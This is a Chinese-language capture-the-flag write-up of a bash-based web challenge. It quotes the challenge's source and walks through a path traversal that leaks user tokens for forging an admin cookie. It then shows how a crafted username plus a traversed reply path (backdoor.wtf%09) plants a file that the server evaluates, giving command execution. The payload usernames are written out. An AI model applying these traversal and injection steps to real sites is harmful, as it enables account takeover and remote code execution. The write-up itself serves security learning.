没思路,直接找源码和writeup来研究
    第一个漏洞在post.wtf中:

    1. $ # vim: ft=wtf
    2. <html>
    3. <head>
    4. <link rel="stylesheet" type="text/css" href="/css/std.css" >
    5. <link rel="stylesheet" type="text/css" href="/css/post.css" >
    6. </head>
    7. <body>
    8. $ source user_functions.sh
    9. $ if contains 'post' ${!URL_PARAMS[@]} && file_exists "posts/${URL_PARAMS['post']}"
    10. $ then
    11. $ post_id=${URL_PARAMS['post']};
    12. $ for post_file in $(ls posts/${post_id}/* | sort --field-separator='/' --key=3 -n); do
    13. $ echo "<div class=\"post\">";
    14. $ poster=$(nth_line 1 ${post_file} | htmlentities);
    15. $ title=$(nth_line 2 ${post_file} | htmlentities);
    16. $ body=$(tail -n +3 ${post_file} | htmlentities 2> /dev/null);
    17. $ echo "<span class=\"post-poster\">Posted by <a href=\"/profile.wtf?user=$(basename $(find_user_file "${poster}"))\">${poster}</a></span>";
    18. $ echo "<span class=\"post-title\">$title</span>";
    19. $ echo "<span class=\"post-body\">$body</span>";
    20. $ echo "</div>";
    21. $ done
    22. $ else
    23. $ echo "Pls give a (valid) post id";
    24. $ fi;
    25. <div class="action-btns">
    26. $ echo "<a href=\"/reply.wtf?post=${post_id}\">Reply</a>"
    27. <a href="/">Back</a>
    28. </div>
    29. </body>
    30. </html>

    第12行中,存在目录穿越漏洞,当传入的post_id为../时,就变成形如
    ls posts/../*的形式,遍历出上级目录的文件,并显示其内容。
    image.png
    搜索flag关键字,找到相关源码:

    1. $ # vim: ft=wtf
    2. $ source user_functions.sh
    3. <html>
    4. <head>
    5. <link rel="stylesheet" type="text/css" href="/css/std.css" >
    6. </head>
    7. $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
    8. $ then
    9. $ local username=$(head -n 1 users/${URL_PARAMS['user']});
    10. $ echo "<h3>${username}'s posts:</h3>";
    11. $ echo "<ol>";
    12. $ get_users_posts "${username}" | while read -r post; do
    13. $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
    14. $ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
    15. $ done
    16. $ echo "</ol>";
    17. $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
    18. $ then
    19. $ get_flag1
    20. $ fi
    21. $ fi
    22. </html>

    可以看到存在一个users目录,并且当is_logged_in为真,cookies中的username为admin时,执行get_flag1。
    先注册一个账号,注意到cookies中除了username,还有一个TOKEN,只改username行不通。
    利用前面的路径穿越漏洞,看一下users里都有什么:

    1. post.wtf?post=../users/

    image.png
    最下面的应该就是token,伪造cookie后提交,得到第一个flag
    image.png
    第二个漏洞出现在wtf.sh中:

    1. max_page_include_depth=64
    2. page_include_depth=0
    3. function include_page {
    4. # include_page <pathname>
    5. local pathname=$1
    6. local cmd=""
    7. [[ "${pathname:(-4)}" = '.wtf' ]];
    8. local can_execute=$?;
    9. page_include_depth=$(($page_include_depth+1))
    10. if [[ $page_include_depth -lt $max_page_include_depth ]]
    11. then
    12. local line;
    13. while read -r line; do
    14. # check if we're in a script line or not ($ at the beginning implies script line)
    15. # also, our extension needs to be .wtf
    16. [[ "$" = "${line:0:1}" && ${can_execute} = 0 ]];
    17. is_script=$?;
    18. # execute the line.
    19. if [[ $is_script = 0 ]]
    20. then
    21. cmd+=$'\n'"${line#"$"}";
    22. else
    23. if [[ -n $cmd ]]
    24. then
    25. eval "$cmd" || log "Error during execution of ${cmd}";
    26. cmd=""
    27. fi
    28. echo $line
    29. fi
    30. done < ${pathname}
    31. else
    32. echo "<p>Max include depth exceeded!<p>"
    33. fi
    34. }

    如果存在一个wtf文件,则文件内容会被当成命令执行,

    1. #!/usr/bin/env bash
    2. source user_functions.sh
    3. # Create a new post. Returns the post id.
    4. function create_post {
    5. local username=$1;
    6. local title=$2;
    7. local text=$3;
    8. local hashed=$(hash_username "${username}");
    9. # ensure posts dir exists and isn't listable.
    10. mkdir posts 2> /dev/null;
    11. touch posts/.nolist; # don't allow directory listing on posts
    12. touch posts/.noread; # don't allow file reads on post
    13. local post_id=$(basename $(mktemp --directory posts/XXXXX));
    14. echo ${username} > "posts/${post_id}/1";
    15. echo ${title} >> "posts/${post_id}/1";
    16. echo ${text} >> "posts/${post_id}/1";
    17. touch "posts/${post_id}/.nolist";
    18. touch "posts/${post_id}/.noread";
    19. # add to our cache for the homepage
    20. echo "<li><a href=\"/post.wtf?post=${post_id}\">$(htmlentities <<< ${title})</a> by $(htmlentities <<< ${username})</li>" >> .index_cache.html
    21. # add post to users' post cache
    22. local hashed=$(hash_username "${username}");
    23. echo "${post_id}/1" >> "users_lookup/${hashed}/posts";
    24. echo ${post_id};
    25. }
    26. function reply {
    27. local post_id=$1;
    28. local username=$2;
    29. local text=$3;
    30. local hashed=$(hash_username "${username}");
    31. curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
    32. next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
    33. next_file=(posts/${post_id}/${next_reply_id});
    34. echo "${username}" > "${next_file}";
    35. echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
    36. echo "${text}" >> "${next_file}";
    37. # add post this is in reply to to posts cache
    38. echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
    39. }

    而在post_function.wtf的reply函数中,用户名和回复内容会被直接写入到评论文件的内容中,所以通过前面的路径穿越漏洞,就可以构造一个后门backdoor.wtf并且内容收到我们控制。
    image.png
    注册一个账户,用户名是${find,/,iname,get_flag2},内容随意,之所以不在回复内容中写命令,是因为wtf.sh中对其进行了过滤。接着提交地址写为../users_lookup/backdoor.wtf%09,其中users_lookup不是必要的,只要目录存在就行,后面%09是水平制表符,如果不加上会被当作目录解析。
    提交后访问后门,就可以看到flag路径
    image.png
    再创建一个账户,username为${/usr/bin/get_flag2},其余同上,访问后得到第二个flag。